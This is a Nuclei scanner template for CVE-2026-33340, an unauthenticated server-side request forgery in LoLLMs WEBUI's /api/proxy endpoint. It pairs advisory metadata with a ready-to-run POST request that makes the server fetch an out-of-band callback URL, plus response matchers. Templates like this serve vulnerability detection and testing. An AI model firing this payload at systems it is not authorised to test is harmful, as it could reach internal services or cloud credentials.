id: CVE-2026-33340 info: name: LoLLMs WEBUI - Server-Side Request Forgery author: theamanrawat severity: critical description: | LoLLMs WEBUI contains a server-side request forgery caused by unauthenticated access to the /api/proxy endpoint, letting attackers force the server to make arbitrary GET requests, exploit requires no authentication. impact: | Attackers can access internal services, scan local networks, or exfiltrate sensitive cloud metadata, potentially leading to data exposure and further compromise. remediation: | Update to a patched version once available or apply mitigations to restrict server-side requests. reference: - https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4 - https://nvd.nist.gov/vuln/detail/CVE-2026-33340 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2026-33340 epss-score: 0.21629 epss-percentile: 0.97367 cwe-id: CWE-306 metadata: max-requests: 1 verified: true tags: cve,cve2026,lollms,ssrf http: - raw: - | POST /api/proxy HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"url": "http://{{interactsh-url}}"} matchers: - type: dsl dsl: - 'contains(content_type, "application/json")' - 'contains(interactsh_protocol, "http")' - 'contains(body, "{\"content\":\"")' - 'status_code == 200' condition: and # digest: 490a0046304402203d37d8ca4215bec561e15e877ae5c462d13bb3916f6c4ca3ea69a3ef76eccdde02205d6fe3426fa9476c616bf826bf13857e69d95f293664c2d8cafa80ba7a793dad:922c64590222798bb761d5b6d8e72950